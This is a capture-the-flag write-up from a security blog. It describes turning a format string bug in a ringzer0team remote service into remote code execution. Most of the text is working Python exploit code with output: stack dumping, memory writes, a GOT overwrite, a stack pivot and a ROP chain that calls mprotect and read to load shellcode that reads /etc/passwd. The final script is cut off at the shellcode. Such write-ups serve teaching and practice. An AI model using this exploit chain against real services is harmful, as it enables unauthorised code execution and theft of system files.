Nytro

Maximum Overkill Two - From Format String Vulnerability to Remote Code Execution Feb 22nd, 2015 1:01 pm You might remember my first Maximum Overkill writeup, where I made a ROP exploit with ASLR/NX bypass for a simple buffer overflow exercise. I completed another over-the-top, why-would-you-even-do-this exploit for a CTF challenge and figured I’d shared it. ringzer0team has a very nice, long-running CTF going on. I already did the shellcoding challenges, which I really enjoyed. I completed the fourth pwnable level on an evening, which simply involved dumping the stack via a format string bug and grabbing a password. I thought to myself: “would I be able to get a shell using this format string vulnerability?” This writeup is made with Hindsighttm and as such, I have not included all the paths that led nowhere or the mistakes I have made. I have tried to include the thought-process as much as possible. Dumping the Stack OK, onwards! One catch is that the remote box is a 64-bit system and I don’t have the binary itself. We do have a snippet of source code and the ability to dump the stack from within a vulnerable sprintf call: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20[/TD] [TD=class: code]char *response = NULL; char *cleanBuffer = NULL; response = (char*)malloc(2048); memset(response, 0, 2048); cleanBuffer = (char*)malloc(strlen(buf)); memset(cleanBuffer, 0, strlen(buf)); strncpy(cleanBuffer, buf, strlen(buf) - 1); char test[] = "AAAABBBBCCCC"; char flag[] = "XXXXXXXXXXXXXXXXXXXXXXXXXX"; if(strcmp(flag, cleanBuffer) == 0) { strcpy(response, "Here's your flag FLAG-XXXXXXXXXXXXXXXXXXXXXXXXXX.\n"); } else { sprintf(response, cleanBuffer); // <-- we have a format string vulnerability here sprintf(response, "%s is a wrong password.\n\nPassword:", response); }[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: gutter]1 2 3 4 5[/TD] [TD=class: code]bas@tritonal:~$ nc pwn01.ringzer0team.com 13377 HF Remote Secure Shell [1.3.37] Password:%lx-%lx-%lx-%lx-%lx-%lx- 17f4880-25-0-80-7fffd6e74448-200000000- is a wrong password.[/TD] [/TR] [/TABLE] The fifth address jumps out. It is either a stack address, or a libc address. Let’s see what it points to: I tried to write to it using %n, which didn’t crash the remote binary. This meant that it most likely is a stack address! I wrote a small python script to dump the stack. I noticed I could not re-use the connection I made via python sockets, so I had to reconnect for every format string I sent. [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18[/TD] [TD=class: code]import struct from socket import * def grab(i): s = socket(AF_INET, SOCK_STREAM) s.connect(('pwn01.ringzer0team.com', 13377)) s.recv(128) s.send('%'+str(i)+'$lx\n') data = s.recv(64) addr = data.split()[0] print i, addr s.close() for z in range(700): grab(z)[/TD] [/TR] [/TABLE] This indeed dumped out the data on the stack. I found where the fifth parameter was pointing to: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8[/TD] [TD=class: code]...snip... 633 7fffeecd9c28 634 1c 635 2 636 7fff00000042 637 7fffeecdaf65 638 0 ...snip...[/TD] [/TR] [/TABLE] See, it points to the 636th parameter, because the lower 32 bits contain the value I’ve just written with %n! Pretty neat. So with %<parameter number>$lx I could view what that particular parameter contained, and with %<parameter number>$s I could see what it pointed to (provided it was pointing to a valid memory address!) I wondered where the 636th parameter pointed to: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8[/TD] [TD=class: code]bas@tritonal:~$ nc pwn01.ringzer0team.com 13377 HF Remote Secure Shell [1.3.37] Password:%636$lx 7fff3ca49f51 is a wrong password. Password:%636$s /home/crackme/fs_64 is a wrong password. [/TD] [/TR] [/TABLE] Interesting! I figured I could use this to my advantage… The 5th parameter points to the 636th, which itself points to somewhere on the stack. I could write to the address contained in the 636th parameter, like so: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14[/TD] [TD=class: code]bas@tritonal:~$ nc pwn01.ringzer0team.com 13377 HF Remote Secure Shell [1.3.37] Password:%636$lx 7fff3ca49f51 is a wrong password. Password:%636$s /home/crackme/fs_64 is a wrong password. Password:%66c%636$hhn ? is a wrong password. Password:%636$s Bhome/crackme/fs_64 is a wrong password.[/TD] [/TR] [/TABLE] Write what where now? But more importantly, I could write to the 636th parameter via the fifth, giving me a write-what-where primitive! So, for instance, to write to 0x7fff3ca49f00, I’d first do %256c%5$hhn. This will overwrite the last byte of the 636th parameter with a NULL. Then, I’d write to the address using %66c%636$hhn. Finally, I’d like to know where this byte was written, which turned out to be the easiest: we have the address of 636, and we have another address 0x7fff3ca49f00. Subtracting the first from the latter and dividing by 8 gives the format string parameter we need to access the written byte directly! I wrote a simple proof-of-concept for this. The following python code abuses the format string vulnerability to write out ‘BAS’ to an area on the stack. We can access it indirectly with %636$s and directly using %<parameter>$lx, given the proper format parameter. The funny thing that I noticed was that my changes to the stack were persistent, even after reconnecting. This meant that the binary did not fork(), but handled each request by itself. This is interesting for later… [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77[/TD] [TD=class: code]import struct from socket import * def grab_value_directly(i): s = socket(AF_INET, SOCK_STREAM) s.connect(('pwn01.ringzer0team.com', 13377)) s.recv(128) s.send('%'+str(i)+'$lx\n') data = s.recv(64) addr = int(data.split()[0], 16) s.close() return addr def grab_value_indirectly(i): s = socket(AF_INET, SOCK_STREAM) s.connect(('pwn01.ringzer0team.com', 13377)) s.recv(128) s.send('%'+str(i)+'$s\n') data = s.recv(64) addr = data.split()[0] # ugly workaround, only grab 8 bytes. will fix this later! if len(addr) > 8: address = addr[0:8] else: address = addr + '\x00' * (8-len(addr)) s.close() return struct.unpack('L', address)[0] def write_byte_value_via(i, value): s = socket(AF_INET, SOCK_STREAM) s.connect(('pwn01.ringzer0team.com', 13377)) s.recv(128) s.send('%'+str(value)+'c%'+str(i)+'$hhn\n') data = s.recv(64) s.close() parameter_636_addr = grab_value_directly(5) print "parameter 5 points to: ", hex(parameter_636_addr) value_at_636 = grab_value_indirectly(5) print "address pointed to by parameter 5 contains: ", hex(value_at_636) # this will write out 'BAS',0 to the scratch area! # update the pointer write_byte_value_via(5, 1) # write a byte to the scratch area write_byte_value_via(636, ord('B')) # update the pointer write_byte_value_via(5, 2) # write a byte to the scratch area write_byte_value_via(636, ord('A')) write_byte_value_via(5, 3) write_byte_value_via(636, ord('S')) write_byte_value_via(5, 4) # write out a NULL byte first writing out 256 bytes (which wraps to 0x00) write_byte_value_via(636, 256) # reset the pointer write_byte_value_via(5, 1) value_at_scratch = grab_value_indirectly(636) print "scratch contains: ", hex(value_at_scratch) format_offset = ((value_at_636 & 0xffffffffffffff00) - parameter_636_addr)/8 print "scratch is parameter {}".format(636+format_offset) # CAN ADDRESS IT DIRECTLY!! scratch_addr = grab_value_directly(636+format_offset) print "scratch contains: ", hex(scratch_addr)[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6[/TD] [TD=class: code]bas@tritonal:~/tmp/ringzer0ctf/pwnable-linux/5$ python sploit1.py parameter 5 points to: 0x7fff3ca480d8 address pointed to by parameter 5 contains: 0x7fff3ca49f51 scratch contains: 0x534142 scratch is parameter 1601 scratch contains: 0x53414200[/TD] [/TR] [/TABLE] This is great, because I have a write-what-where primitive know! My first thought was to overwrite a GOT entry with system(). For that to work, I needed several things: the address of system() in libc, and thus which version of libc I was dealing with; and the address of a GOT pointer which I could overwrite. First things first, I wrote a dumper script to start dumping the binary. Slam Dump Using the write-an-address-to-scratch-space primitive, I started dumping the binary. I added a function to dump from a specific memory address and I verified it by grabbing the bytes at 0x400000. These should correspond to the magic bytes of an ELF header. [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71[/TD] [TD=class: code]import struct from socket import * def grab_value_directly(i): s = socket(AF_INET, SOCK_STREAM) s.connect(('pwn01.ringzer0team.com', 13377)) s.recv(128) s.send('%'+str(i)+'$lx\n') data = s.recv(64) addr = int(data.split()[0], 16) s.close() return addr def grab_value_indirectly(i): s = socket(AF_INET, SOCK_STREAM) s.connect(('pwn01.ringzer0team.com', 13377)) s.recv(128) s.send('%'+str(i)+'$s\n') data = s.recv(64) addr = data.split()[0] # ugly workaround, only grab 8 bytes. will fix this later! if len(addr) > 8: address = addr[0:8] else: address = addr + '\x00' * (8-len(addr)) s.close() return struct.unpack('L', address)[0] def write_byte_value_via(i, value): s = socket(AF_INET, SOCK_STREAM) s.connect(('pwn01.ringzer0team.com', 13377)) s.recv(128) s.send('%'+str(value)+'c%'+str(i)+'$hhn\n') data = s.recv(64) s.close() def read_from_address(addr, offset): for i in range(4): b = (addr & 0xff) addr >>= 8 if b == 0: b = 256 if i == 0: i = 256 write_byte_value_via(5, i) # change address write_byte_value_via(636, # write byte dump1 = grab_value_indirectly(636+offset) return hex(dump1) parameter_636_addr = grab_value_directly(5) print "parameter 5 points to: ", hex(parameter_636_addr) value_at_636 = grab_value_indirectly(5) print "address pointed to by parameter 5 contains: ", hex(value_at_636) value_at_scratch = grab_value_indirectly(636) print "scratch contains: ", hex(value_at_scratch) format_offset = ((value_at_636 & 0xffffffffffffff00) - parameter_636_addr)/8 print "scratch is parameter {}".format(636+format_offset) print "read from 0x400000: {}".format(read_from_address(0x400000, format_offset))[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6[/TD] [TD=class: code]bas@tritonal:~/tmp/ringzer0ctf/pwnable-linux/5$ python sploit3.py parameter 5 points to: 0x7fff3ca480d8 address pointed to by parameter 5 contains: 0x7fff3ca49f01 scratch contains: 0x7369 scratch is parameter 1601 read from 0x400000: 0x10102464c457f[/TD] [/TR] [/TABLE] Indeed, this dumps out the ELF header’s magic bytes! By this time, I noticed that trying to read from an address that contains a NULL byte as the first byte, returns 0x7369. I used this in the dumper to identify NULL bytes. From here on out, I adjusted the script to dump out the entire binary. It was a slow process, but I managed to speed it up a bit by not having it write out the full address each time, and dumping as much bytes as possible (I adjusted the grab_value_indirectly). The problem with the dumping process via sprintf is that it stops dumping bytes when it hits a 0x0a, 0x0d or 0x00 byte. I have no way of knowing which one it actually is, so I assumed NULL bytes. This gave me an imperfect dump, which I could not run and readelf could not make heads or tails of the section headers. This meant that I had no way of knowing exactly where each GOT entry was, and which function address each entry held. Reverse engineering the dumped binary provided an alternative. I was looking at the output of xxd and noticed the following: [TABLE] [TR] [TD=class: gutter]1 2 3 4[/TD] [TD=class: code]...snip... 00014a0: ffc7 8580 edff ff41 4141 41c7 8584 edff .......AAAA..... 00014b0: 0042 4242 42c7 8588 edff ff43 4343 43c6 .BBBB......CCCC ...snip...[/TD] [/TR] [/TABLE] This looks familiar, doesn’t it? [TABLE] [TR] [TD=class: gutter]1[/TD] [TD=class: code]char test[] = "AAAABBBBCCCC";[/TD] [/TR] [/TABLE] I out those bytes, starting at 0x1260, and ran the resulting string through rasm2. This gave me the raw bytes: [TABLE] [TR] [TD=class: gutter]1 2 3 4[/TD] [TD=class: code]$ xxd -c 1 dump |grep 1260 -A512 | awk '{print $2}' |tr -d '\n' b800000000e8b6f8ffffc78540edffff48460052c78544edffff656d6f74c78548edffff 65005365c7854cedffff63757265c78550edffff00536865c78554edffff6c6c005bc785 ...snip... [/TD] [/TR] [/TABLE] I ran this output through rasm2 to show the corresponding assembly code. I put in the correct starting address for rasm2. This is the address of the start of the binary (0x400000) plus the offset from which I’ve dumped, 0x1260. A bit of reverse-engineering led me to identify malloc, memset and strlen: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28[/TD] [TD=class: code]$ echo 'b800...' | rasm2 -d -b 64 -o 0x401260 - mov dword [rbp-0x50], 0x0 mov eax, [rbp-0x20] cmp eax, [rbp-0x1c] jnz dword 0x4015d1 // char *response = NULL; mov qword [rbp-0x58], 0x0 // char *cleanBuffer = NULL; mov qword [rbp-0x60], 0x0 // response = (char*)malloc(2048); mov edi, 0x800 call dword 0x400ba0 mov [rbp-0x58], rax // memset(response, 0, 2048); mov rax, [rbp-0x58] mov edx, 0x800 mov esi, 0x0 mov rdi, rax call dword 0x400b40 // cleanBuffer = (char*)malloc(strlen(buf)); lea rax, [rbp-0x11f0] mov rdi, rax call dword 0x400b00 mov rdi, rax call dword 0x400ba0 mov [rbp-0x60], rax lea rax, [rbp-0x11f0][/TD] [/TR] [/TABLE] Now, these calls go to the PLT, which uses an address located in the GOT to do the actual library call. From the disassembly and the raw bytes, I was able to find out to which memory address the calls go. For example, let’s find the address of the GOT entry for strlen. From the disassembly provided above, I know it’s PLT stub is at 0x400b00, so dumping from 0xb00: [TABLE] [TR] [TD=class: gutter]1[/TD] [TD=class: code]0000b00: ff25 fa0f 0000 6807 0000 00e9 70ff ffff .%....h.....p...[/TD] [/TR] [/TABLE] This disassembles to [TABLE] [TR] [TD=class: gutter]1 2 3[/TD] [TD=class: code]$ rasm2 -d -b 64 -o 0x400b00 - ff25fa0f0000 jmp qword [rip+0xffa][/TD] [/TR] [/TABLE] So it actually references the QWORD at 0x400b00 + 6 + 0x0ffa, which is 0x401b00. This made no sense to me, and it still doesn’t. I know for a fact that the GOT is actually at 0x60xxxx, so I took a chance and dumped the bytes from that location. This indeed contained a libc address! Assuming my reversing skills are okay, I have a way to read two libc addresses to two known functions! This would allow me to identify which libc version is in use and get me one step closer to my goal of shelling this challenge out. libc Version: Computer Says No To identify the libc version in use, I’d need two libc addresses and the corresponding function names. I could compare the difference of these addresses to those found on the libc binaries I had. I used my own little script for this. Alas, I found no exact match, even though I had downloaded all the libc versions that Debian provided. It did seem, however, that the libc in use on the remote box was very similar to libc 2.13-38. This gave me a handle and soon I was dumping from libc. I did this by first grabbing strlen from the GOT, and then subtracting the offset of strlen. This yielded a wrong libc base, but it was good enough to use a reference in combination with libc-2.13-38. I decided to look for system() the old fashioned way: by dumping all the bytes from the libc_base + system_offset_in_libc-2.13 - 0x1000 to +0x1000. In these bytes, I found system() at -0x90: [TABLE] [TR] [TD=class: gutter]1 2[/TD] [TD=class: code]0000f70: 5348 83ec 1048 85ff 7416 8b05 4ca9 3400 SH...H..t...L.4. 0000f80: 85c0 7526 4883 c410 5be9 82fb ffff 6690 ..u&H...[.....f.[/TD] [/TR] [/TABLE] You see, system() in libc 2.13 looks like this: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14[/TD] [TD=class: code]objdump -d -M intel libc-2.13.so |grep system -A10 000000000003fc70 <__libc_system>: 3fc70: 53 push rbx 3fc71: 48 83 ec 10 sub rsp,0x10 3fc75: 48 85 ff test rdi,rdi 3fc78: 74 16 je 3fc90 <__libc_system+0x20> 3fc7a: 8b 05 6c b9 34 00 mov eax,DWORD PTR [rip+0x34b96c] # 38b5ec <argp_program_version_hook+0x1b4> 3fc80: 85 c0 test eax,eax 3fc82: 75 26 jne 3fcaa <__libc_system+0x3a> 3fc84: 48 83 c4 10 add rsp,0x10 3fc88: 5b pop rbx 3fc89: e9 82 fb ff ff jmp 3f810 <__strtold_l+0x10> 3fc8e: 66 90 xchg ax,ax[/TD] [/TR] [/TABLE] That’s a perfect match! I had the address of system. I turned my attention to overwriting a GOT entry. I settled on overwriting strlen’s GOT entry. After the overwriting was done, the next connection would use my buf as input for system(): [TABLE] [TR] [TD=class: gutter]1 2 3 4 5[/TD] [TD=class: code]cleanBuffer = (char*)malloc(strlen(buf)); // disassembly: lea rax, [rbp-0x11f0] mov rdi, rax call dword 0x400b00 < the GOT entry for strlen will be pointing to system![/TD] [/TR] [/TABLE] The addresses for strlen and system only differed in the last three bytes. Therefore, I had to figure out a way to write three bytes at the same time; if I overwrote one byte each time, then by the time I connected to overwrite the second byte, I’d get a crash. This is because the GOT entry for strlen would be pointing to a rather random memory location! So, writing three bytes at once requires three memory address to be present on the stack, which can be addressed directly. From there, I again used the %<number>%<offset>$hhn primitive to write a byte. [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54[/TD] [TD=class: code]def write_on_stack(what, where, offset): # write out all the bytes of what # used to write addresses on the stack for i in range(8): b = (what & 0xff) what >>= 8 if b == 0: b = 256 if (i+where) == 0: i = 256 write_byte_value_via(5, i+where) write_byte_value_via(636, print "[+] wrote {} to {}".format(hex(grab_value_directly(636+offset+where/8)), 636+offset+where/8) parameter_636_addr = grab_value_directly(5) print "parameter 5 points to: ", hex(parameter_636_addr) value_at_636 = grab_value_indirectly(5) print "address pointed to by parameter 5 contains: ", hex(value_at_636) value_at_scratch = grab_value_indirectly(636) print "scratch contains: ", hex(value_at_scratch) format_offset = ((value_at_636 & 0xffffffffffffff00) - parameter_636_addr)/8 print "scratch is parameter {}".format(636+format_offset) # grab strlen from the GOT entry strlen_addr = read_from_address(0x601b00, format_offset) print "[+] strlen is at {}.".format(hex(strlen_addr)) # from libc-2.13-38 -- NOT CORRECT libc_base = strlen_addr - 0x80b70 print "[+] libc_base is at {}.".format(hex(libc_base)) # we need to have three addresses on the stack which we can directly address # to use them in the format string vuln write_on_stack(0x601e20, 0, format_offset) write_on_stack(0x601e21, 8, format_offset) write_on_stack(0x601e22, 16, format_offset) # ok, now try to set three bytes in one go s = socket(AF_INET, SOCK_STREAM) s.connect(('pwn01.ringzer0team.com', 13377)) # should write out "BAS" in one go payload = "%66c%{}$hhn%255c%{}$hhn%18c%{}$hhn\n".format(format_offset+636, format_offset+637, format_offset+638) s.recv(128) s.send(payload) data = s.recv(64) s.close() # read it back to check! check = read_from_address(0x601e20, format_offset) print hex(check)[/TD] [/TR] [/TABLE] First, it writes out 0x601e20, 0x601e21 and 0x601e22 on the stack. 0x601e20 is an unused memory address close the GOT entries. Then, the payload to actually write three bytes to those addresses looks like this: [TABLE] [TR] [TD=class: gutter]1[/TD] [TD=class: code]"%66c%{}$hhn%255c%{}$hhn%18c%{}$hhn\n".format(format_offset+636, format_offset+637, format_offset+638)[/TD] [/TR] [/TABLE] What it does, is print 66 dummy bytes (0x42 == ‘B’) and then writes out the number of bytes written so far (%hhn) to a location that is pointed to by parameter 636. Then, it prints 255 dummy bytes, to make the write counter overflow. Writing out the next byte with %hhn will output 66+255 % 256 = 61, ‘A’). The next byte is written in the same way. This allows three bytes to be written at once, and will allow overwriting the GOT entry of strlen with the address of system! [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12[/TD] [TD=class: code]$ python sploit7.py parameter 5 points to: 0x7fff3ca480d8 address pointed to by parameter 5 contains: 0x7fff3ca49f01 scratch contains: 0x601b scratch is parameter 1601 [+] strlen is at 0x7f82b7326c40. [+] libc_base is at 0x7f82b72a60d0. [+] wrote 0x601e20 to 1601 [+] wrote 0x601e21 to 1602 [+] wrote 0x601e22 to 1603 0x534142[/TD] [/TR] [/TABLE] OK, so that worked! I plugged in the values for system, the GOT entry for strlen and crossed my fingers. I tried to spawn a shell, but alas, no output. The binary had crashed though, and I tried again, this time trying for outbound access to my vps with wget. However, I never saw a HTTP connection and the remote binary seemed to hang. The service did not come back up. Uh-oh. Reaching out I apologized to Mr.Un1k0d3r via Twitter and he seemed interested in my poc. He even offered me to send the binary so I could play with it locally; I jumped at this chance of course, and requested the libc as well. Furthermore, he informed me that the box was heavily firewalled for security reasons (it being part of a CTF and all) and that my shell would not be accessible at all… …Challenge accepted! So it’s back to the drawing board. The system() trick would not work, as the binary was not being ran using socat. It handled all the connections itself. Spawning a shell would not connect stdin, stdout and stderr to the socket that the binary was using, effectively stopping me from interacting with the shell. Instead, I figured I could achieve an interactive shell by first using a call to dup2 to duplicate the socket file descriptor, to couple it to stdin and stdout. This was inspired by this shellcode. First things first, though, I needed a ROP chain to actually read in the shellcode and run it. The stack was not executable (NX took care of that), so I had find a way to call mprotect to mark a section rwx and then read in the shellcode. I started working on the ROP chain before Mr. Un1k0d3r sent over the files. This was pretty hard, as I had to search for the gadgets in libc (the binary did not contain enough gadgets) by dumping it. I first uploaded my own libc to ropshell. Once I had found a gadget, I dumped from -0x100 to +0x100 relative to that address; this allowed me to find the gadgets I needed. Luckily, soon after, I obtained the libc and the binary from Mr.Un1k0d3r, which helped a lot. I ran it in a 64-bit Kali (based on Debian) and started building and debugging my ROP exploit. But hold on a second! Pivot the Stack This wasn’t a buffer overflow where I had full control over the stack! The ROP chain was somewhere in buf and I needed to make rsp point to it. Only then, the ROP chain would kick off properly. I had to find a single gadget that did this in one go. I roughly knew the location of buf relative to rsp (approximately at rsp+0xd8, which I reverse-engineered from the disassembly of the dumped binary). Why buf? buf can contain null bytes, whereas cleanBuffer cannot: [TABLE] [TR] [TD=class: gutter]1[/TD] [TD=class: code]strncpy(cleanBuffer, buf, strlen(buf) - 1);[/TD] [/TR] [/TABLE] The strncpy takes care of that; any null byte it encounters will make it stop copying. Because we’re on 64-bit, the gadget addresses will for sure contain null bytes. Instead, have a look at where strlen is used: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5[/TD] [TD=class: code]cleanBuffer = (char*)malloc(strlen(buf)); // dissambled: lea rax, [rbp-0x11f0] mov rdi, rax // rax and rdi now point to buf call dword 0x400b00 // strlen[/TD] [/TR] [/TABLE] This meant that I had multiple options to pivot rsp to buf, for instance with a xchg rax, rsp gadget. Upon finding no suitables ones, I had to go with stack lifting. I uploaded the libc which I got from Mr. Un1k0d3r to ropshell.com and starting looking for gadgets. What would I need? [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6[/TD] [TD=class: code]stack lifting syscall pop rax pop rdi pop rsi pop rdx[/TD] [/TR] [/TABLE] See, I needed quite a few gadgets to be able to call mprotect and read. First, the stack lifting: I settled on 0x00082cfe: add rsp, 0x100; ret in libc. I had no idea if I would have the correct amount added to rsp, but I solved that the lazy way by adding the ROP equivalent of a NOP-sled: [TABLE] [TR] [TD=class: gutter]1[/TD] [TD=class: code]0x041cf9: ret[/TD] [/TR] [/TABLE] This will keeping returning until the ROP chain hits the next correct gadget! I put everything together and tested it locally… but no dice! I debugged it in gdb-peda and the mprotect syscall seemed to work. The shellcode, however, was not being read in properly. The socket file descriptor was the problem. It was not a predictable value, so I could not hardcode it. I found that the socket was stored on the stack, but I could not leak it via the format string vulnerability. It was located at rbp-0x48, so I had to adjust my ROP chain to grab this value and use it in the read syscall. I had to build another ROP chain to get at it… Grabbing the socket descriptor value I started looking for gadgets that allowed me to dereference rbp. I ended up with these ones: [TABLE] [TR] [TD=class: gutter]1 2 3 4[/TD] [TD=class: code]0x0002028a : pop r15; ret 0x0006933f : lea rax, [rbp + r15]; pop rbp; pop r12; pop r13; pop r14; pop r15; ret 0x000eb938 : mov rax, [rax]; ret 0x0002c10e : xchg eax, edi; ret[/TD] [/TR] [/TABLE] The process is simple. The first pop r15 will pop -0x48 from the stack. Then, the address rbp+r15 (effectively pointing to rbp-0x48) is loaded into rax. The value at this address is taken into rax in the third gadget. Finally, the value is stored in edi, ready for use in the read syscall. Here, I assume that the socket descriptor is less than 32 bits, which I think is reasonable. The read part of the ROP chain will read in the shellcode that we send and return to it. I started with a modified read /etc/passwd shellcode, the original of which was made by Mr.Un1k0d3r Putting it all together So from a high level, I use the format string vulnerability to write out the addresses of the first three bytes of the GOT entry of strlen to the stack. Then, using those addresses, the first three bytes of strlen’s GOT entry are overwritten. The GOT entry of strlen then points to the stack lifting gadget. Upon connecting again, I send the ROP chain, the stack lifting gadget will be called instead of strlen, setting rsp to buf. The ROP chain kicks off and will grab the socket descriptor value, call mprotect and read in a shellcode. The shellcode will also use the socket descriptor and write the contents of /etc/passwd to the socket. All I have to do now is to sit back Without further ado: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196[/TD] [TD=class: code]import struct, time from socket import * def p(x): return struct.pack('L', x & 0xffffffffffffffff) def grab_value_directly(i): s = socket(AF_INET, SOCK_STREAM) s.connect(('pwn01.ringzer0team.com', 13377)) s.recv(128) s.send('%'+str(i)+'$lx\n') data = s.recv(64) addr = int(data.split()[0], 16) s.close() return addr def grab_value_indirectly(i): s = socket(AF_INET, SOCK_STREAM) s.connect(('pwn01.ringzer0team.com', 13377)) s.recv(128) s.send('%'+str(i)+'$s\n') data = s.recv(64) addr = data.split()[0] # ugly workaround, only grab 8 bytes. will fix this later! if len(addr) > 8: address = addr[0:8] else: address = addr + '\x00' * (8-len(addr)) s.close() return struct.unpack('L', address)[0] def write_byte_value_via(i, value): s = socket(AF_INET, SOCK_STREAM) s.connect(('pwn01.ringzer0team.com', 13377)) s.recv(128) s.send('%'+str(value)+'c%'+str(i)+'$hhn\n') data = s.recv(64) s.close() def read_from_address(addr, offset): for i in range(4): b = (addr & 0xff) addr >>= 8 if b == 0: b = 256 if i == 0: i = 256 write_byte_value_via(5, i) # change address write_byte_value_via(636, # write byte dump1 = grab_value_indirectly(636+offset) return dump1 # write a value to a string format parameter def write_on_stack(what, where, offset): # write out all the bytes of what for i in range(8): b = (what & 0xff) what >>= 8 if b == 0: b = 256 if (i+where) == 0: i = 256 write_byte_value_via(5, i+where) write_byte_value_via(636, print "[+] wrote {} to {}".format(hex(grab_value_directly(636+offset+where/8)), 636+offset+where/8) parameter_636_addr = grab_value_directly(5) print "parameter 5 points to: ", hex(parameter_636_addr) value_at_636 = grab_value_indirectly(5) print "address pointed to by parameter 5 contains: ", hex(value_at_636) value_at_scratch = grab_value_indirectly(636) print "scratch contains: ", hex(value_at_scratch) format_offset = ((value_at_636 & 0xffffffffffffff00) - parameter_636_addr)/8 print "scratch is parameter {}".format(636+format_offset) # grab strlen from the GOT entry strlen_addr = read_from_address(0x601b00, format_offset) print "[+] strlen is at {}.".format(hex(strlen_addr)) libc_base = strlen_addr - 0x80c40 print "[+] libc_base is at {}.".format(hex(libc_base)) STACK_PIVOT = libc_base + 0x082cfe # add rsp, 0x100; ret print "[+] stack pivot gadget is at {}.".format(hex(STACK_PIVOT)) # we need to have three addresses on the stack which we can directly address # to use them in the format string vuln # strlen write_on_stack(0x601b00, 0, format_offset) write_on_stack(0x601b01, 8, format_offset) write_on_stack(0x601b02, 16, format_offset) # need to write out the last three bytes of the STACK_PIVOT gadget over strlen's bytes writebytes = STACK_PIVOT & 0xffffff payload = '' lastbyte = 0 # build format string to set three bytes at once for i in range(3): if lastbyte <= (writebytes & 0xff): byte_to_write = (writebytes & 0xff) - lastbyte else: byte_to_write = 256 + (writebytes & 0xff) - lastbyte payload += "%{}c".format(byte_to_write) lastbyte = writebytes & 0xff writebytes >>= 8 payload += "%{}$hhn".format(format_offset+636+i) payload += "\n" print "[+] writing {} to strlen's GOT entry".format(hex(STACK_PIVOT & 0xffffff)) print "[+] format string payload: {}".format(payload) # connect and send the format string s = socket(AF_INET, SOCK_STREAM) s.connect(('pwn01.ringzer0team.com', 13377)) s.recv(128) s.send(payload) s.recv(64) s.close() # now, strlen's GOT entry will point to the stack lifting gadget # let's prepare the ROP chain # here are the gadgets SYSCALL = libc_base + 0x0ad215 POP_RAX = libc_base + 0x041dc8 POP_RSI = libc_base + 0x021535 POP_RDI = libc_base + 0x02028b POP_RDX = libc_base + 0x0a834b ropchain = '' # mprotect 0x400000 to rwx, so we can write AND execute from it ropchain += p(POP_RAX+1) * 8 # points to ret; effectively, a NOP! ropchain += p(POP_RAX) ropchain += p(10) # syscall mprotect ropchain += p(POP_RDI) ropchain += p(0x400000) # start of buffer to mprotect ropchain += p(POP_RSI) ropchain += p(0x1000) # length of buffer ropchain += p(POP_RDX) ropchain += p(7) # flags; rwx ropchain += p(SYSCALL) # after executing this syscall, 0x400000 should be rwx # we need to fetch the socket from memory ropchain += p(libc_base + 0x2028a) # pop r15; ret ropchain += p(-0x48) # ropchain += p(libc_base + 0x6933f) # lea rax, [rbp + r15]; set rax to address that contains socket descriptor ropchain += p(31337)*5 # junk for all the pop r64's ropchain += p(libc_base + 0xeb938) # mov rax, [rax]; grabs value of socket descriptor ropchain += p(libc_base + 0x2c10e) # xchg eax, edi; edi now contains the socket descriptor # read in the shellcode from the socket (sockfd in rdi already) ropchain += p(POP_RAX) ropchain += p(0) # syscall read ropchain += p(POP_RSI) ropchain += p(0x400000) # start of buffer ropchain += p(POP_RDX) ropchain += p(0x1000) # size of buffer ropchain += p(SYSCALL) # after this syscall, the shellcode should be at 0x400000 ropchain += p(0x400000) # so return to it! # rdi still contains socket fd! s = socket(AF_INET, SOCK_STREAM) s.connect(('pwn01.ringzer0team.com', 13377)) print s.recv(128) # send our ropchain s.send(ropchain) time.sleep(0.1) # modified read /etc/passwd, original by Mr.Un1k0d3r 